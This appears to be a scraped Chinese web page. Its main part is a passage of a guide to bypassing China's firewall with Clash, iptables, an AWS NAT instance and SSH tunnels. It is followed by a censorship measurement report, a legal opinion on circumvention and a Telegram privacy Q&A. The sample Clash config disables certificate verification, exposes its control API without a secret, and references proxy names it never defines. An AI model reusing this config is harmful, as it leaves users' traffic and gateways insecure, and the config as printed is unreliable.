└─────┬────┬────┘
│ │
│ │ 2
│ └────────? 牆內 – China LAN
3 │
┌─────▼──────┐
│ VPS │
│ Proxy │
└─────┬──────┘
│
│
▼
牆外 – Internet WAN

7.2 通過樹莓派做旁路網關

如果你的路由器不能刷 OpenWRT，也就是沒法通過SSH登錄上去裝軟體，你就用一個別的設備。比如用一個樹莓派。我正好有一個很老舊的樹莓派，刷了一個老舊的 Debian 7.5的操作系統。

把它連上你的路由器上，然後，

• 你需要把你設備上的IP地址、網關和DNS伺服器都要手動設置到這個樹莓派上。
• 於是，所有的路由就會通過路由器轉到樹莓派上，再由樹莓派決定是否要走代理。

大概的示意圖如下所示。

• 1 –> 2 是設備把所有的請求都發給樹莓派。
• 3 –> 3.1 或 3.2 是由樹莓派來決走是否翻牆。

Phone/PC/Pad （設置”網關”和”DNS”為樹莓派）
│
│
│ 1
│ （安裝 Clash 網關）
┌────────▼──────┐ 2 ┌───────────┐
│ ├────────────── │
│ WiFi Router │ │ 樹莓派 │
│ ──────────────┤ │
└─────┬────┬────┘ 3 └───────────┘
│ │
│ │ 3.2
│ └────────? 牆內 – China LAN
3.1 │
┌─────▼──────┐
│ VPS │
│ Proxy │
└─────┬──────┘
│
│
▼
牆外 – Internet WAN

7.3 安裝 Clash

Clash 的 Github項目是：Dreamacro/clash ，在它的 Release 頁面上，你可以找到相關的下載。（注：在本文更新的時候，如果你需要支持 Tun，你需要下載 Clash 的 Premium 版本

Clash 支持很多翻牆協議：ShadowSocks(R), Vmess, Socks5, HTTP(s)，Snell，Trojan。

在你的 OpenWRT 或 樹莓派 下用 uname -m 查看一下你的硬體架構是什麼的，比如，我的是華碩和樹莓派都是 armv7l 的，所以，需要下載 clash-linux-armv7-….的版本（注：根據 clash 官方倉庫 Dreamacro/clash#189 系列固件不適用 armv7l 架構的 AC68U，需選擇 armv5）。 下載完解壓后，加個可執行許可權 chmod +x clash 就可以運行了，不過，還差一個界面和兩個配置文件，它們的目錄關係如下：

├── clash <- 建一個 clash 的目錄
│?? ├── clash <- 運行文件
│?? ├── config.yaml <- 配置文件
│?? ├── Country.mmdb <- IP地址庫
│?? └── ui <- Clash 的 UI
│?? ├── index.html
│?? ├── …

• UI界面可以到 haishah/yacd 下載。放到clash的配置目錄下 ui 目錄下
• 一個是 Country.mmdb 這是IP地址的在哪個國家的資料庫。你需要到這裏下載 – Country.mmdb （當然，clash啟動時，會自動下載，我這裏給你一個手動下載的鏈接）
• 另一個是 config.yaml 文件，這個文件詳細解釋可參看 – 官方Wiki

下面是個示例：

port: 7890
socks-port: 7891
redir-port: 7892
mixed-port: 7893
ipv6: false
allow-lan: true
mode: Rule
log-level: info
external-controller: ‘0.0.0.0:9090’
external-ui: ui
secret: ”
tun:
enable: true
stack: system
dns-hijack:
– tcp://8.8.8.8:53
– udp://8.8.8.8:53
dns:
enable: true
ipv6: false
listen: 0.0.0.0:53
default-nameserver:
– 114.114.114.114
#enhanced-mode: redir-host
enhanced-mode: fake-ip #如果要玩netflix，需要使用fake-ip
fake-ip-range: 198.18.0.1/16
nameserver:
– 114.114.114.114
– 223.5.5.5
– tls://8.8.8.8:853
fallback:
– tls://8.8.8.8:853

# 兩個代理伺服器
proxies:
# http
– name: “https01”
type: http
server: https.server.domain
port: 443
username: user
password: “password”
tls: true # https
skip-cert-verify: true
– name: “https01”
type: http
server: https.server.domain
port: 443
username: user
password: “passowrd”
tls: true # https
skip-cert-verify: true

# 配置 Group
proxy-groups:
# 自動切換
– name: “auto”
type: url-test
proxies:
– us01_https
#- us02_https
#- hk_https
# tolerance: 150
url: ‘https://www.google.com/’
interval: 300
# 按需選擇 – 可以在UI上選擇
– name: “netflix”
type: select
proxies:
– us01_https
– us02_https
– hk_https

rules:
# LAN
– DOMAIN-SUFFIX,local,DIRECT
– IP-CIDR,127.0.0.0/8,DIRECT
– IP-CIDR,172.16.0.0/12,DIRECT
– IP-CIDR,192.168.0.0/16,DIRECT
– IP-CIDR,10.0.0.0/8,DIRECT

# Netflix
– DOMAIN-SUFFIX,fast.com,netflix
– DOMAIN-SUFFIX,api-global.netflix.com,netflix
– DOMAIN-SUFFIX,netflix.com,netflix
– DOMAIN-SUFFIX,netflix.net,netflix
– DOMAIN-SUFFIX,nflxext.com,netflix
– DOMAIN-SUFFIX,nflximg.com,netflix
– DOMAIN-SUFFIX,nflximg.net,netflix
– DOMAIN-SUFFIX,nflxso.net,netflix
– DOMAIN-SUFFIX,nflxvideo.net,netflix

# 最終規則（除了中國區的IP之外的，全部翻牆）
– GEOIP,CN,DIRECT
– MATCH,auto

更多的規則網上可以找到很多，也可以參看這裏：SS-Rule-Snippet/LAZY_RULES/clash.yaml

這個時候你就可以啟動 clash 了：

/path/to/clash/cash -d /path/to/clash &

然後，你就可以把你的上網設備上的 路由網關 和 DNS 伺服器都手動地配置成這個網關就好了（OpenWRT應該不用配置了，樹莓派的方式需要手動配置一下）

7.4 設置 iptables 轉發

iptables -t nat -N CLASH
iptables -t nat -A CLASH -d 10.0.0.0/8 -j RETURN
iptables -t nat -A CLASH -d 127.0.0.0/8 -j RETURN
iptables -t nat -A CLASH -d 169.254.0.0/16 -j RETURN
iptables -t nat -A CLASH -d 172.16.0.0/12 -j RETURN
iptables -t nat -A CLASH -d 192.168.0.0/16 -j RETURN
iptables -t nat -A CLASH -d 224.0.0.0/4 -j RETURN
iptables -t nat -A CLASH -d 240.0.0.0/4 -j RETURN
iptables -t nat -A CLASH -p tcp -j REDIRECT –to-ports 7892

然後，你可以保存一下這些 iptables 的規則

iptables-save > /etc/iptables.up.rules

編輯 /etc/network/if-pre-up.d/iptables，在網卡啟動的時候載入這些規則

#!/bin/sh
/sbin/iptables-restore < /etc/iptables.up.rules

然後，再 chmod +x /etc/network/if-pre-up.d/iptables 加上可執行許可權就好了。

8. 數據中心透明網關

這裏僅針對 AWS 進行說明，其它雲平台應該大同小異，大家可以補充。

8.1 AWS 網路構建

1. 構建一個 172.20.0.0/16 的 VPC，分成兩個子網：
   • 有公網IP的公有子網 – 172.20.1.0/24
   • 無公網IP的私有子網 – 172.20.2.0/24
2. 在公有子網裡創建 EC2 NAT Instance
   • 創建時，指定私網IP為 172.20.1.1
   • （Option）為該實例分配彈性IP，可成為外網訪問內網的跳板機
3. 建立路由規則
   • 創建「互聯網網關」，並把「互聯網網關」添加到公有子網 172.20.1.0/24 的路由表中
   • 把 EC2 NAT Instance 172.20.1.1 添加到私有子網172.20.2.0/24的路由表中。

於是整個網路就如下所示。

┌──────────┐
│ │
│ │
└──────────┘
彈性IP 互聯網網關
┌───────────────┐ ▲
│xxx.xxx.xxx.xxx├─┐ │
└───────────────┘ │ ┌───────────┘
│ │
┌───────┼──┼────────┐ ┌───────────────────┐
│ │ │ │ │ │
│ ┌─┴──▼──┐ │ │ ┌─┐ ┌─┐ ┌─┐ ┌─┐ │
Public Network │ │ │?────┼───┬───┼─?└─┘ └─┘ └─┘ └─┘ │ Private Network
│ └───────┘ │ │ │ │
│ EC2 NAT Instance │ │ │ ┌─┐ ┌─┐ ┌─┐ ┌─┐ │
│ 172.20.1.1 │ ├───┼─?└─┘ └─┘ └─┘ └─┘ │
│ │ │ │ │
│ (NAT Instance) │ │ │ ┌─┐ ┌─┐ ┌─┐ │
│ │ └───┼─? └─┘ └─┘ └─┘ │
│ │ │ │
└───────────────────┘ └───────────────────┘

172.20.1.0/24 172.20.2.0/24
▲ ▲
subnet │ │ subnet
│ │
└────────── VPC ───────────┘
172.20.0.0/16

注：你需要認真的按照 EC2 NAT Instance 的文檔進行設置這個NAT實例。尤其需要設置下面幾項：

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -A FORWARD -i eth0 -j ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

順便科普一下：

• net.ipv4.ip_forward 是內核參數，主要是用來把Linux當成路由器來用的參數。一般來說，一個路由器至少要有兩個網路介面，一個是WAN，的一個是LAN的，為了讓LAN和WAN的流量相通，需要進行內核上路由。
• iptables -A FORWARD -i eth0 -j ACCEPT 通行所有需要轉發的包，只有機器成為一個路由器時，需要在兩個網卡間進行網路包轉發時，才需要配置這條規則。
• iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 關鍵字 MASQUERADE意思是「偽裝「，NAT的工作原理是就像是一個宿舍收發室對學生宿舍一樣，學生宿舍的地址外部不可見，郵遞員只看得見整棟宿舍收發室的地址，郵遞員把快遞交給收發室，收發室再把快遞轉給學習宿舍（反之，如果學生要對外寄郵件，也是先到收發室，收發室傳給郵局）。現在的問題是，所有的學生宿舍如何才能參与到任何快遞的通信中，如果把學生宿舍地址發到外部，則沒人能把信送回來。如果這個收發室是個自動化的機器人，他要乾的事就是，把學生宿舍的地址換成收發室地址。這就是
  MASQUERADE 的意思——來自具有接收方 IP 地址的本地網路到達 Internet 某處的數據包必須進行修改，也就是讓發送方的地址等於路由器的地址。

8.2 安裝 Clash

在 EC2 NAT Instance 上安裝 clash 透明網關，安裝配置參看 7.3 安裝 Clash ，基本一致。

注：在實際操作中，沒有設置 iptables 轉發規則

8.3 配置私有子網中的 EC2

只需要配置 /etc/resolv.conf 文件，把 EC2 NAT Instance 加入其中。如：

# /etc/resolv.conf
nameserver 172.20.1.1 #<— 透明網關 EC2 NAT 實例
nameserver 172.20.0.2 #<— AWS 的 DNS 服務
search [zone].compute.internal

8.4 私有子網中的 Kubernetes

K8s 里有兩組 CoreDNS 部署和配置，一組是邊緣的（或是叫本地的），一組是中心的。

• 邊緣的 Pod 名叫 nodelocaldns，偵聽在本機。如：169.254.25.10:53
• 中心的 Pod 名叫 coredns，偵聽在 cluster IP 上，如：10.233.0.3:53

邊緣的規則會把k8s的域名 cluster.local, in-addr.arp ip6.arpa 轉給中心的 CoreDNS 處理，其它的交給本地的 /etc/resolv.conf 處理。

Kubernetes 會把如下內容打到 Pod 里的 /etc/resolv.conf

nameserver 169.254.25.10
search default.svc.cluster.local svc.cluster.local cluster.local cn-northwest-1.compute.internal
options ndots:5

查看一下 nodelocaldns 的配置：

$ kubectl get cm nodelocaldns -n kube-system -o yaml

我們可以看到，除了 K8s 自己的域名外，其它的都交給了本機的 /etc/resolv.conf，如下所示：

.:53 {
errors
cache 30
reload
loop
bind 169.254.25.10
forward . /etc/resolv.conf # <— 注意這條語句
prometheus :9253
}

然而，本機的 /etc/resolv.conf 里有兩個 DNS，一個是我們的透明網關，一個是AWS的。而 CoreDNS 的 forward 策略是隨機挑選，所以，這樣的會導致，時而交給AWS處理，時而交給我們自己的clash處理。最終導致IP解析紊亂。

通過以下命令進行修改：

$ kubectl edit cm nodelocaldns -n kube-system

修改如下：（AWS的歸 172.20.0.2， 其它的走我們自己的網關）

+ compute.internal:53 {
+ errors
+ cache 30
+ reload
+ loop
+ bind 169.254.25.10
+ forward . 172.20.0.2
+ prometheus :9253
+ }
.:53 {
errors
cache 30
reload
loop
bind 169.254.25.10
– forward . /etc/resolv.conf
+ forward . /etc/resolv.conf {
+ policy sequential
+ }
prometheus: 9253
}

退出保存后，等大約30秒左右配置就會生效。

9. 其它

9.1 其它方式

如下還有一些其它的方式（注：均由網友提供，我沒有驗證過）

Outline 是由 Google 旗下 Jigsaw
團隊開發的整套翻牆解決方案。Server 端使用 Shadowsocks，MacOS, Windows, iOS, Android
均有官方客戶端。使用 Outline Manager 可以一鍵配置 DigitalOcean。其他平台例如 AWS, Google Cloud
也提供相應腳本。主要優點就是使用簡單並且整個軟體棧全部開源，有專業團隊長期維護。

9.2 搭建腳本

上述的搭建和安裝腳本可參看本庫的 scripts 目錄下的腳本（感謝網友 @gongzili456 開發）

• Ubuntu 18.04 Installation Script

10. 代理技巧

看到這裏，相信已經能夠按照上面的教程搭建好自己的上網環境，但是靈活的應用網路，你還需要了解一技巧，比如 SOCKS 協議, http 隧道 和 ssh 網路隧道等。

1. SOCKS 協議
2. HTTP 隧道

10.1 HTTP 隧道

常見的軟體 curl , git, wget 都能通過設置 HTTP_PROXY,HTTPS_PROXY，NO_PROXY 來配置一個網路代理，NO_PROXY用來配置不需要代理的主機(多個用逗號隔開), 那麼我們就可以編寫一個 bash 函數來運行需要走代理的命令:

with_proxy(){
HTTPS_PROXY=http://127.0.0.1:7890 HTTP_PROXY=http://127.0.0.1:7890 “$@”
}

把上面的 127.0.0.1:7890 改成你自己的網路代理, 將上面腳本寫入到 ~/.bashrc 中， source ~/.bashrc 后就能使用 with_proxy 這個函數了，比如我想要使用代理網路下載一個文件 with_proxy wget https://…., 想要使用代理網路從 github clone 一個項目 with_proxy git clone https://…, 當我們不用 with_proxy 這個函數的時候命令是不會走代理的，如果在 windows 上你也想要使用這樣的功能，可以使用這個項目with-env。

另外，你也可以使用如下的兩個 alias:

SOCKS=”socks5://127.0.0.1:1085″
alias proxy=”export http_proxy=${SOCKS} https_proxy=${SOCKS} all_proxy=${SOCKS}”
alias unproxy=’unset all_proxy http_proxy https_proxy’

這樣，你就可以在需要代理的時候輸入 proxy，不需要的時候輸入 unproxy。

10.2 SSH 隧道

另外，我們可以使用 SSH Tunnel 來建立 SOCKS5 的代理（假設本地電腦無法訪問，但是某台可以 SSH 的伺服器能夠訪問外網，那麼我們就可以使用如下的命令來建議翻牆代理：

ssh -D 1080 -qCN username@server:port

解釋：

• -D：本機SOCKS 服務埠
• -q : quiet 模式，沒有輸出
• -C : 數據壓縮，可以節約一些帶寬
• -N : 不運行遠程命令，只做埠轉發

登錄成功以後,本地 1080埠會開啟一個 SOCKS5 協議的代理，只要配置好代理就能使用這個埠上網。

with_proxy(){
HTTPS_PROXY=socks5://127.0.0.1:1080 HTTP_PROXY=socks5://127.0.0.1:1080 “$@”
}

如果是瀏覽器，配置好SwitchyOmega插件也能實現上外網。

10.3 Github / Git SSH 代理

現在訪問 Github 速度很慢甚至不通，我們可以使用代理來加速，首先我們需要配置好代理，然後配置好 git 的代理，這樣就能加速 git clone 和 git push 了。

當你使用 git clone ssh://[user@]server/project.git 或是 git clone [user@]server:project.git 的時候，你是在使用 SSH 協議。你需要配置 ~/.ssh/config 來使用代理，比如我的本地有一個Sock5代理，埠是 1085，那麼我可以這樣配置：

### github.com
Host github.com
Hostname github.com
ProxyCommand nc -x localhost:1085 %h %p
# git-for-windows 下可以用 connect 代替 nc
# ProxyCommand connect -S localhost:1085 %h %p

• 翻牆，科學上網的一些安全問題
• 2019谷歌雲Outline科學上網伺服器搭建指南
• 翻牆：科學上網（集錦）
• Tunsafe 免費科學上網
• 用 WireGuard 科學上網

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

來自 https://github.com/haoel/haoel.github.io

在騰訊雲北京（ASN AS45090）的VPS上對此事件的觀察結果：

與@5e2t的觀察結果不同，我們並未在我們的觀察點上觀察到1.1.1.1:443埠的TCP RST數據包。特別是，我們可以成功使用curl -v https://1.1.1.1獲取完整的網頁。這表明這次新的審查事件在不同地理位置或自治系統之間存在不一致性。

我們觀察到1.1.1.1:80埠可能會注入一個「302 Moved Temporarily」或「301 Moved Permanently」消息，試圖將用戶重定向到國家反欺詐中心的網站。

以下是一種未發生注入的示例：

ubuntu@VM-32-5-ubuntu:~$ curl -v http://1.1.1.1
*   Trying 1.1.1.1:80…
* TCP_NODELAY set
* Connected to 1.1.1.1 (1.1.1.1) port 80 (#0)
> GET / HTTP/1.1
> Host: 1.1.1.1
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Server: cloudflare
< Date: Sun, 01 Oct 2023 22:49:54 GMT
< Content-Type: text/html
< Content-Length: 167
< Connection: keep-alive
< Location: https://1.1.1.1/
< CF-RAY: **REDACTED**-SJC
<
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>cloudflare</center>
</body>
</html>
* Connection #0 to host 1.1.1.1 left intact

以下是注入了「302 Moved Temporarily」的示例：

ubuntu@VM-32-5-ubuntu:~$ curl -v http://1.1.1.1
*   Trying 1.1.1.1:80…
* TCP_NODELAY set
* Connected to 1.1.1.1 (1.1.1.1) port 80 (#0)
> GET / HTTP/1.1
> Host: 1.1.1.1
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Moved Temporarily
< Connection: close
< Location: http://182.43.124.6/fzyujing?parameter2=REDACTED
<
* Closing connection 0

特別需要注意的是，輸出中的REDACTED參數由319個字元組成。通過在不同時間點對相同的觀察點進行查詢，發現319個字元消息中只有第129到150個字元（22個字元）和第257到278個字元（22個字元）發生了變化。目前尚不清楚這個參數中編碼了什麼信息。

來自1.1.1.1的真實的301 Moved Permanently響應最終會傳遞給客戶端（但比注入消息到達的時間晚），表明審查者並未丟棄來自1.1.1.1:80的真實響應。

托管國家反欺詐中心網站的IP 182.43.124.6的ASN信息如下：

host    asn    asname    cc    registry
182.43.124.6    AS58519    CHINATELECOM-CTCLOUD Cloud Computing Corporation, CN    CN    apnic

• 隱瞞參与中國「千人計劃」並遭定罪的美國科學家可能將獲港大聘任
• 受到中國僱員指控 德國運動服品牌阿迪達斯展開調查
• 中國食品價格腰斬，到底發生了什麼？
• 台灣總統軍校演說稱 中國視「并吞與消滅台灣」為民族事業
• 雲禧：欠安的中國

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

此外，根據@5e2t的觀察，他位於河南，但收到的RST信號並不來自河南的審查設備，而是上海出口的審查設備。由於他和上海出口之間的延遲為28毫秒，traceroute也顯示網路路徑經過了上海。
基於中國網路審查的複雜性和地域差異, 有關GFW是否對1.1.1.1進行了封鎖尚不得而知。我們將繼續關注事件的進展，並持續報道相關信息。

公民法庭律師組
關於翻牆問題的法律意見書
2023第004號

致相關方：
公民法庭由一群海外流亡律師發起設立，旨在通過案件審理的方式，普及現代文明常識，鼓勵公民社會參与，從而推動專制社會向公民社會和平轉型。公民法庭審理案件，彰顯社會公義，而不宣揚仇恨；意在建設，而不在鬥爭。受公民法庭委託，律師組現就突破網路封鎖（翻牆）、中國防火牆（GFW）相關問題出具本法律意見書。

一、主要法律依據

1、《中華人民共和國憲法》，以下簡稱《憲法》；
2、《中華人民共和國刑法》，以下簡稱《刑法》；
3、《中華人民共和國刑事訴訟法》，以下簡稱《刑訴法》；
4、《中華人民共和國反恐怖主義法》，以下簡稱《反恐法》；
5、《中華人民共和國治安管理處罰法》，以下簡稱《治安處罰法》；
6、《中華人民共和國計算機信息網路國際聯網管理暫行規定》，以下簡稱《網路管理暫行規定》；
7、《中華人民共和國計算機信息網路國際聯網管理暫行規定實施辦法》，以下簡稱《網路管理暫行規定實施辦法》；
8、《中華人民共和國計算機信息網路國際聯網安全保護管理辦法》，以下簡稱《網安辦法》；
9、《網路數據安全管理條例》（徵求意見稿），以下簡稱《網安條例》；
10、《互聯網信息服務管理辦法》，以下簡稱《網路管理辦法》；
11、《中華人民共和國個人信息保護法》，以下簡稱《個人信息保護法》；
12、聯合國《公民權利及政治權利國際公約》；
13、聯合國《促進、保護和享有網路人權的決議》；(Resolution on the Promotion，Protection and Enjoyment of Human Rights on the Internet)；
14、聯合國《在互聯網上促進、保護和享有人權》；(Promotion，Protection and Enjoyment of Human Rights on the Internet)。

二、事由

近日，有中國程序員因訪問國際互聯網為一中國境外公司工作，被河北承德雙橋公安分局認定為「擅自建立、使用非法定通道進行國際聯網」，受到行政處罰並沒收所得，引起廣泛注意及爭論。近年來，有關翻牆、提供翻牆軟體或者倡議推翻防火牆等行為被處罰、抓捕乃至判刑的案例越來越多，處罰也愈加嚴厲。很多民眾對翻牆（突破網路封鎖）、中國防火牆（GFW）相關問題存在疑惑。

三、律師組法律意見

根據上述事實，律師組提出以下意見：

（一）中共建立防火牆（GFW）違法
根據公開資料顯示，中國防護牆起始於1996年，最初主要是屏蔽國外新聞網站。2002年開始自動執行TCP重置攻擊和DNS劫持。2018年8月部署對SNI信息的檢測。2020年7月下旬起，也開始封鎖加密伺服器名稱指示（ESNI）的TLS通信。中國防火牆（GFW）採取的手段包括但不限於：DNS污染、IP地址或傳輸層埠封鎖、TCP連接重置、深度包檢測、TLS站點證書中間人攻擊。而對於翻牆行為，中國防火牆（GFW）也已經發展了一系列的探測、封鎖方法，包括但不限於封鎖L2TP/IPSec和PPTP協議、主動檢測、被動檢測、通訊攔截等。
《中國刑法》第二百八十六條規定「違反國家規定，對計算機信息系統功能進行刪除、修改、增加、干擾，造成計算機信息系統不能正常運行，後果嚴重的，處五年以下有期徒刑或者拘役；後果特別嚴重的，處五年以上有期徒刑。」 中國防火牆（GFW）違法使用眾多黑客手段干擾、封鎖網路使用，已經構成非法侵入計算機信息系統罪及非法獲取計算機信息系統數據、非法控制計算機信息系統罪。
《中國憲法》第三十五條規定，中華人民共和國公民有言論自由。《個人信息保護法》第二條規定，自然人的個人信息受法律保護，任何組織、個人不得侵害自然人的個人信息權益。中國防火牆（GFW）阻礙公民言論、深度檢測、關鍵詞檢測侵犯了民眾言論自由以及個人信息權益、隱私保護。
聯合國《促進、保護和享有網路人權的決議》. 申明根據《世界人權宣言》第十九條以及《公民及政治權利國際公約》第十九條，人們在網下擁有的權利在網上同樣必須受到保護，尤其是表達自由，這項權利不論國界，可以通過自主選擇的任何媒介行使。中國防火牆（GFW）採取黑客手段攻擊、監測、阻礙民眾使用國際互聯網，顯然已經違反上述聯合國決議。
即使是中共政府，也深知中國防火牆（GFW）的違法性。迄今為止，現行有效的中國法律法規中未見中國防火牆（GFW）的任何規定，中國政府也未公開承認過中國防火牆（GFW），相反，中國外交部發言人多次宣稱中國互聯網是自由、開放的。

（二）對提供或使用翻牆軟體處罰缺乏法律依據
根據第（一）款意見可知，中國防火牆（GFW）違反了中國法律法規以及國際法，且中共政府也未公開承認其存在，處罰處罰翻牆（突破網路封鎖）行為既缺乏法律依據也缺乏邏輯支撐。
根據《世界人權宣言》（第19條）之相關規定， 人人有發表自由之權利，且人人有保持意見不受干預之權利。聯合國人權理事會指出，根據《公民權利和政治權利國際公約》第十九條第2段規定，人類擁有尋求、接受和傳遞各種消息和思想的自由，包括表達言論、獲取信息和在網路中交流意見的自由。翻牆是行使言論自由之行為，完全符合相關國際條約有關保護言論自由的範疇。
翻牆的方法一般包括使用VPN、 Shadowsocks、v2ray、Trojay等，其原理一般是通過加密或者偽裝，躲過中國防火牆（GFW）的監測從而實現自由使用互聯網。民眾花費更多的時間、精力、資金，藉助翻牆工具去實現正常的國際互聯網訪問，獲取知識和發表言論等，不涉及到任何違法違規行為。
根據查閱到的翻牆處罰案例（需要說明的是，此處僅指翻牆及提供翻牆軟體本身，不涉及翻牆后發表言論），分為刑事處罰和行政處罰。刑事處罰主要是對提供翻牆軟體或者方法者常以非法經營罪、提供侵入、非法控制計算機信息系統程序、工具罪處理。行政處罰主要是警告、罰款、沒收違法所得、行政拘留等。
處罰依據最多的是《網路管理暫行規定》第六條：「計算機信息網路直接進行國際聯網，必須使用郵電部國家公用電信網提供的國際出入口通道。任何單位和個人不得自行建立或者使用其他通道進行國際聯網。」以及第八條：「接入網路必須通過互聯網路進行國際聯網。擬建立接入網路的單位，應當報經互聯單位的主管部門或者主管單位審批；辦理審批手續時，應當提供其計算機信息網路的性質、應用範圍和所需主機地址等資料。」《網路管理暫行規定實施辦法》第三條第（三）款明確「國際出入口通道，是指國際聯網所使用的物理通道「，目前的翻牆軟體均不涉及物理通道。也即依據《網路管理暫行規定》處罰提供翻牆軟體及使用翻牆軟體屬於適用法律錯誤。
此外，將提供翻牆軟體行為認定為非法經營罪亦無法律依據。翻牆軟體為用戶提供互聯網信息加密傳送的服務，屬於《電信業務分類目錄》中的增值電信業務，增值電信業務不是專營、專賣或者限制買賣的物品，不符合《刑法》第二百二十五條規定的非法經營罪定義。還有，翻牆軟體不是病毒工具，其不涉及侵入、非法控制控制計算機信息系統，也不符合提供侵入、非法控制計算機信息系統程序、工具罪定義。

（三）作惡者將被追責
中國防火牆（GFW）違反了包括中國《刑法》在內的相關法律法規以及國際法，相關責任組織、個人已經涉及刑事犯罪及民事責任，相關方責任組織及個人包括但不限於組織、參与、支持、幫助建立、運營、升級、維護中國防火牆（GFW）中國境內外公司、個人等。
對翻牆者及提供翻牆軟體者進行處罰無法律依據，涉及作惡的公安、檢察、法院、監獄、拘留所、看守所等相關責任人員涉及濫用職權、故意陷害等。

我們已經收集並將繼續收集相關責任組織、個人的證據信息，並根據需要適時提供給有關國家、國際組織、人權機構、媒體等，開展追責行動。我們也在揀選典型作惡案例，下一步將提交給公民法庭進行審判， 為未來民主中國追責固定證據。

【梁少華，公民法庭律師組 ， 2023年10月1日】

【受公民法庭委託，律師組現就突破網路封鎖（翻牆）、中國防火牆（GFW）相關問題出具本法律意見書。】
我們也在揀選典型作惡案例，下一步將提交給公民法庭進行審判， 為未來民主中國追責固定證據。
2023年10月1日
公民法庭律師組
關於翻牆問題的法律意見書
2023第004號
致相關方：… pic.twitter.com/nSvX4fR3sf
— 期待王清鵬的回歸！ (@wangqingpeng1) October 2, 2023

• 《希望的路》第五十三集 小粉紅覺醒退出邪黨 助數萬人翻牆找真相
• 五四精神的核心是翻牆
• 馬斯克閃電訪華；北京房價退回2016年，成都取消全部限購政策；哈馬斯再發人質視頻，拜登誓言全力營救；陝西一教師翻牆，向習近平借錢買房
• 機場驚心動魄的經歷！翻牆后，看到震撼真相，決心不再當粉紅；親眼見證中共體制之惡，走線美國！中國人勇氣未泯；他這樣感恩美國！【新聞大家談 】
• 全網爆火！翻牆向習借錢買房！陝西教師公開發聲；最後通牒習近平? 北約秘書長異常嚴厲警告； 強烈譴責香港23條立法 歐洲議會：無條件釋放黎智英等；哈馬斯放人！拜登和17國領導人...【阿波羅網】

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

文：辛凈

注意：反詐中心、國產輸入法、微信、QQ、支付寶等等國產軟體都有監控功能，從安全形度考量，這種環境安裝翻牆軟體與敏感內容是有風險的！

下載方法：按滑鼠器右鍵，另存為。
下載 DOC 壓縮文件：安卓版翻牆軟體無法安裝的解決辦法
下載 DOC 壓縮文件：安卓版翻牆軟體無法安裝的解決辦法（續 二）

安卓版翻牆軟體無法安裝的解決辦法 

在傳播真相過程中，你可以把安卓版翻牆軟體和真相電子書通過手機藍牙或者網路與有緣人分享，有的電子書是apk格式的，不但安裝方便，信息量大，而且傳播效率高，反饋效果好。但是由於大陸產手機設有封殺手段，很多網友反饋有時候翻牆軟體無法安裝，下面我把多年來探索到的經驗和幾種品牌手機的測試情況分享給大家。

一、針對華為手機
二、針對小米手機
三、針對oppo（vivo）手機
四、針對聯想手機
五、安卓軟體和電子書的下載來源
六、重要提示
附言

• 翻牆軟體作者：Trojan協議已能精準識別
• 翻牆軟體無法安裝的解決辦法（附件）
• 【翻牆問答】港蘋果App Store疑查翻牆軟體 要移民蘋果ID有技巧
• 【翻牆問答】中共借人工智慧掌TLS死穴 大封網戮眾翻牆軟體
• 分享翻牆軟體簡法

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

來源:正見網

問：Telegram的加密貨幣合作夥伴TON基金會宣布和騰訊合作，建立一個類似微信（WeChat）的超級應用生態平台，引起業內人士和用戶的安全私隱疑慮，Telegram作為一個開放源碼軟體，這次與騰訊的合作有甚麼問題，Telegram日後是否仍然是一個安全的平台？

李建軍：Telegram這次與騰訊合作的問題，除了有可能出現大量騰訊員工參与管理，導致出現更恐怖的審查，甚至資訊泄漏問題之外，另一方面，就算是開放源碼，Telegram的源碼如此龐大，如果騰訊派來的人員在Telegram的源代碼夾帶私貨，加入大量有後門的代碼，都不一定能在短時間內發現，因此，在技術上已經令Telegram變得十分之不安全。

由於Telegram的財政狀況一直都不如理想，再加上Telegram本來希望靠加密貨幣浪潮籌集的資金，以及日後的利潤去維持Telegram項目，但加密貨幣市場的混亂，令整個算盤變得不可能，甚至要償還投資者的所得，因此，Telegram會否在整個項目缺財的情況下，其實際控制權落入騰訊手上，令人感到擔憂。

Telegram並非美國註冊的非營利機構，在監管以及管理透明度都難與美國成立的團體相比。除非Telegram日後可以找到替代的財政來源，否則以Telegram的可持續性發展而言，改用其他開放源碼項目，有可能是最好的選擇。因為在高息的環境難以籌集資金的情況下，Telegram似乎越來越難抵受來自中國的誘惑。

問：在Telegram主機上的資料，是否可以要求Telegram方面刪除？以免過往的對話訊息，日後有可能落入中國當局手上用作秋後算賬的依據。

李建軍：某程上，Telegram可能比起Meta、Google等公司更糟糕，因為Meta和Google這些大公司你清楚知道聯絡方法，而這些公司，都受到歐盟和英國在私隱法律上嚴厲監管，如果你擁有英國、葡萄牙等國籍，更可以要求你所屬國家的私隱監管機構介入。

但Telegram的公司註冊處以及營運地點，一向都透明度不高，這點亦成為Telegram無法以捐款維持的其中一個原因。因此，你想要求Telegram公司刪除你的資料，並非想像中那麼容易。如果英美歐等國政府關注和介入Telegram的收購案或營運管理，或者可能有妥善的方法，防止資料落入中國手中﹐否則暫時比較徹底的方法是刪除戶口，以及相關連的電話號碼，特別香港現時預付卡實名制之後，當局要查出某個Telegram用戶的身份，是比以往容易得多。

